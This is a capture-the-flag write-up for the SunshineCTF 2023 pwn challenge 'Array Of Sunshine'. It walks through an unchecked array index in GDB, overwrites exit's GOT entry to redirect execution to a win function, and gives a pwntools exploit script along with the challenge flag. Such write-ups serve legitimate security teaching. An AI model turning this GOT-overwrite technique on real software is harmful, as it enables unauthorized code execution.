Post

SunshineCTF 2023

pwn/Array Of Sunshine

The Challenge

1
2
3
4
5
6
7
Sunshine on my shoulders makes me happy...
Haiku to Sunshine - ChatGPT
☀️ A sunbeam kisses
Golden warmth in every slice
Nature's sweet embrace
Server info
nc chal.2023.sunshinectf.games 23003

The Solution

When we run the program, we see a huge banner and a prompt asking us which fruit we would like to eat from a choice of 0 to 3.

1
2
3
4
5
6
7
8
9
10
$ ./sunshine
MMMMMMMMMMMMMMMMMMMMMMMMMWx..cONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMXkc..;xNMMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
...
MMMMMMMMMMMMMMMMMMMWOl'                                     .cONMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMNkl,.                             .'ckXWMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMN0xl;..                   ..;lx0NMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOo:,..         ..':okKWMMMMMMMMMMMMMMMMMMMMMMMMMM

Which fruit would you like to eat [0-3] >>> 2

then it prompts us asking for a new fruit to replace it. Let’s try Watermelon

1
2
3
Replace it with a new fruit.
Type of new fruit >>>Watermelon
$ 

and then the program closes. Let’s run checksec on this binary to get a gist of what attacks we can possibly perform

1
2
3
4
5
6
7
$ checksec sunshine
[*] '/home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Stack: Canary found … which means no buffer overflow? Not exactly, but let’s try something else.

If you read the assembly in GDB you will see that main eventually ends up calling basket. basket is the function which gives us these prompts. Let’s break down what does it exactly do.

Essentially there exists an array called fruits with the following values { "Oranges", "Apples", "Pears", "Bananas" }. The programs asks us the index of the fruit from this array. Then it asks us a new fruit which is formatted as "%24s" and stored in the array at that index, ultimately overwriting the original fruit with the new one.

For example if we give input as:

1
2
index = 2
fruit = "Watermelon"

then the array changes as follows:

1
2
3
4
5
6
7
8
INITIAL             |       FINAL
=======             |       =====
{                   |       {
    "Oranges",      |           "Oranges",
    "Apples",       |           "Apples",
    "Pears",        |           "Watermelon",
    "Bananas"       |           "Bananas"
}                   |       }

The flaw here is that our integer input is not limited to just 0 to 3, it can be anything. The program does not have a safety check before writing our input to that location. We can exploit this vulnerability to our advantage.

Let’s open the program in GDB and have a look at the basket function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ gdb sunshine -q
Reading symbols from sunshine...

This GDB supports auto-downloading debuginfo from the following URLs:
  <https://debuginfod.archlinux.org>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in sunshine)
gdb-peda$ disassemble basket 
Dump of assembler code for function basket:
   0x0000000000401552 <+0>:	push   rbp
   0x0000000000401553 <+1>:	mov    rbp,rsp
   0x0000000000401556 <+4>:	sub    rsp,0x30
...
   0x000000000040164f <+253>:	mov    edi,0xffffffff
   0x0000000000401654 <+258>:	call   0x4010b0 <exit@plt>
   0x0000000000401659 <+263>:	nop
   0x000000000040165a <+264>:	mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040165e <+268>:	sub    rax,QWORD PTR fs:0x28
   0x0000000000401667 <+277>:	je     0x40166e <basket+284>
   0x0000000000401669 <+279>:	call   0x401040 <__stack_chk_fail@plt>
   0x000000000040166e <+284>:	leave
   0x000000000040166f <+285>:	ret
End of assembler dump.

There is a call to the PLT of exit just before our function ends. If we disassemble it we can get the GOT entry for exit:

1
2
3
4
5
6
gdb-peda$ disassemble 0x4010b0
Dump of assembler code for function exit@plt:
   0x00000000004010b0 <+0>:	jmp    QWORD PTR [rip+0x3f8a]        # 0x405040 <exit@got.plt>
   0x00000000004010b6 <+6>:	push   0x8
   0x00000000004010bb <+11>:	jmp    0x401020
End of assembler dump.

There it is : 0x405040. My point is, if we can find the right integer input, we can potentially force the program to write our Watermelon or for that matter any data into the GOT entry for exit eventually redirecting code execution.

Let’s find that right integer. If we set a breakpoint just before the program writes data to the memory location based on our input, we can find out where it is writing to.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
gdb-peda$ b * basket +178
Breakpoint 1 at 0x401604
gdb-peda$ run
Starting program: /home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
MMMMMMMMMMMMMMMMMMMMMMMMMWx..cONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMXkc..;xNMMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
...
Which fruit would you like to eat [0-3] >>> -5
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffe678 --> 0x7fffffffe987 ("/home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine")
RCX: 0x0 
RDX: 0xffffffffffffffd8 
RSI: 0x405058 --> 0x0 
RDI: 0x402e7d --> 0x6972700073343225 ('%24s')
RBP: 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1 
RSP: 0x7fffffffe510 --> 0xfffffffb00000000 
RIP: 0x401604 (<basket+178>:	call   0x4010a0 <__isoc99_scanf@plt>)
R8 : 0x1999999999999999 
R9 : 0xa ('\n')
R10: 0x7ffff7d82ac0 --> 0x100000000 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffe688 --> 0x7fffffffe9bc ("SHELL=/bin/zsh")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
R15: 0x404e00 --> 0x401170 (<__do_global_dtors_aux>:	endbr64)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4015f5 <basket+163>:	lea    rax,[rip+0x1881]        # 0x402e7d
   0x4015fc <basket+170>:	mov    rdi,rax
   0x4015ff <basket+173>:	mov    eax,0x0
=> 0x401604 <basket+178>:	call   0x4010a0 <__isoc99_scanf@plt>
   0x401609 <basket+183>:	mov    QWORD PTR [rbp-0x28],0x404020
   0x401611 <basket+191>:	mov    QWORD PTR [rbp-0x20],0x404038
   0x401619 <basket+199>:	mov    rax,QWORD PTR [rbp-0x28]
   0x40161d <basket+203>:	mov    rax,QWORD PTR [rax]
Guessed arguments:
arg[0]: 0x402e7d --> 0x6972700073343225 ('%24s')
arg[1]: 0x405058 --> 0x0 
arg[2]: 0xffffffffffffffd8 
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe510 --> 0xfffffffb00000000 
0008| 0x7fffffffe518 --> 0x7fffffffe688 --> 0x7fffffffe9bc ("SHELL=/bin/zsh")
0016| 0x7fffffffe520 --> 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
0024| 0x7fffffffe528 --> 0x40153b (<logo+623>:	nop)
0032| 0x7fffffffe530 --> 0x7ffff7c57cb0 (<scanf>:	endbr64)
0040| 0x7fffffffe538 --> 0xa31985351887d00 
0048| 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1 
0056| 0x7fffffffe548 --> 0x4016c7 (<main+87>:	jmp    0x4016bd <main+77>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000401604 in basket ()

Ok so when our input was -5 our data is being written to 0x405058 which is pretty close to 0x405040 (GOT entry of exit). Let’s try -8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
gdb-peda$ run
Starting program: /home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
MMMMMMMMMMMMMMMMMMMMMMMMMWx..cONMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMXkc..;xNMMMMWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
...
Which fruit would you like to eat [0-3] >>> -8
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffe678 --> 0x7fffffffe987 ("/home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine")
RCX: 0x0 
RDX: 0xffffffffffffffc0 
RSI: 0x405040 --> 0x4010b6 (<exit@plt+6>:	push   0x8)
RDI: 0x402e7d --> 0x6972700073343225 ('%24s')
RBP: 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1 
RSP: 0x7fffffffe510 --> 0xfffffff800000000 
RIP: 0x401604 (<basket+178>:	call   0x4010a0 <__isoc99_scanf@plt>)
R8 : 0x1999999999999999 
R9 : 0xa ('\n')
R10: 0x7ffff7d82ac0 --> 0x100000000 
R11: 0x202 
R12: 0x0 
R13: 0x7fffffffe688 --> 0x7fffffffe9bc ("SHELL=/bin/zsh")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
R15: 0x404e00 --> 0x401170 (<__do_global_dtors_aux>:	endbr64)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4015f5 <basket+163>:	lea    rax,[rip+0x1881]        # 0x402e7d
   0x4015fc <basket+170>:	mov    rdi,rax
   0x4015ff <basket+173>:	mov    eax,0x0
=> 0x401604 <basket+178>:	call   0x4010a0 <__isoc99_scanf@plt>
   0x401609 <basket+183>:	mov    QWORD PTR [rbp-0x28],0x404020
   0x401611 <basket+191>:	mov    QWORD PTR [rbp-0x20],0x404038
   0x401619 <basket+199>:	mov    rax,QWORD PTR [rbp-0x28]
   0x40161d <basket+203>:	mov    rax,QWORD PTR [rax]
Guessed arguments:
arg[0]: 0x402e7d --> 0x6972700073343225 ('%24s')
arg[1]: 0x405040 --> 0x4010b6 (<exit@plt+6>:	push   0x8)
arg[2]: 0xffffffffffffffc0 
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe510 --> 0xfffffff800000000 
0008| 0x7fffffffe518 --> 0x7fffffffe688 --> 0x7fffffffe9bc ("SHELL=/bin/zsh")
0016| 0x7fffffffe520 --> 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
0024| 0x7fffffffe528 --> 0x40153b (<logo+623>:	nop)
0032| 0x7fffffffe530 --> 0x7ffff7c57cb0 (<scanf>:	endbr64)
0040| 0x7fffffffe538 --> 0x4964c047dd3bbf00 
0048| 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1 
0056| 0x7fffffffe548 --> 0x4016c7 (<main+87>:	jmp    0x4016bd <main+77>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000000000401604 in basket ()

Perfect, -8 corresponds to the GOT entry for exit. Let’s continue with the program and write "AAAAAA" to that location and see if we can redirect code execution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
gdb-peda$ c
Continuing.
AAAAAA

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffffffe678 --> 0x7fffffffe987 ("/home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine")
RCX: 0x0 
RDX: 0xffffffffffffffc0 
RSI: 0x405040 --> 0x4010b6 (<exit@plt+6>:	push   0x8)
RDI: 0x402e7d --> 0x6972700073343225 ('%24s')
RBP: 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1 
RSP: 0x7fffffffe510 --> 0xfffffff800000000 
RIP: 0x401604 (<basket+178>:	call   0x4010a0 <__isoc99_scanf@plt>)
R8 : 0x1999999999999999 
R9 : 0xa ('\n')
R10: 0x7ffff7d82ac0 --> 0x100000000 
R11: 0x202 
R12: 0x0 
[----------------------------------registers-----------------------------------]
RAX: 0x6 
RBX: 0x7fffffffe678 --> 0x7fffffffe987 ("/home/vulnx/CTFs/sunshine/array_of_sunshine/sunshine")
RCX: 0x0 
RDX: 0x7ffff7c52250 (<printf>:	endbr64)
RSI: 0xa ('\n')
RDI: 0xffffffff 
RBP: 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1 
RSP: 0x7fffffffe508 --> 0x401659 (<basket+263>:	nop)
RIP: 0x414141414141 ('AAAAAA')
R8 : 0x1 
R9 : 0xa ('\n')
R10: 0x18 
R11: 0x246 
R12: 0x0 
R13: 0x7fffffffe688 --> 0x7fffffffe9bc ("SHELL=/bin/zsh")
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe2c0 --> 0x0 
R15: 0x404e00 --> 0x401170 (<__do_global_dtors_aux>:	endbr64)
EFLAGS: 0x10212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x414141414141
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe508 --> 0x401659 (<basket+263>:	nop)
0008| 0x7fffffffe510 --> 0xfffffff800000000 
0016| 0x7fffffffe518 --> 0x404020 --> 0x6 
0024| 0x7fffffffe520 --> 0x404038 --> 0x0 
0032| 0x7fffffffe528 --> 0x6 
0040| 0x7fffffffe530 --> 0x0 
0048| 0x7fffffffe538 --> 0xddddf7e3c569ff00 
0056| 0x7fffffffe540 --> 0x7fffffffe560 --> 0x1 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000414141414141 in ?? ()

BOOM! Code execution redirected. Now let’s quickly replace "AAAAAA" with the memory address of win. Let’s also write a neat python script to grab the flag for us.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.log_level = 'critical'

# p = process('./sunshine')
p = remote('chal.2023.sunshinectf.games', 23003)
elf = ELF('./sunshine')

p.sendline(b'-8')
p.sendline(p64(elf.symbols['win']))

p.recvuntil(b'sun')
flag = p.recvuntil(b'}').decode()
print('FLAG: sun{}'.format(flag) )

and run it

1
2
$ python exploit.py
FLAG: sun{a_ray_of_sunshine_bouncing_around}

and that wraps up this writeup!

FLAG

sun{a_ray_of_sunshine_bouncing_around}

This post is licensed under CC BY 4.0 by the author.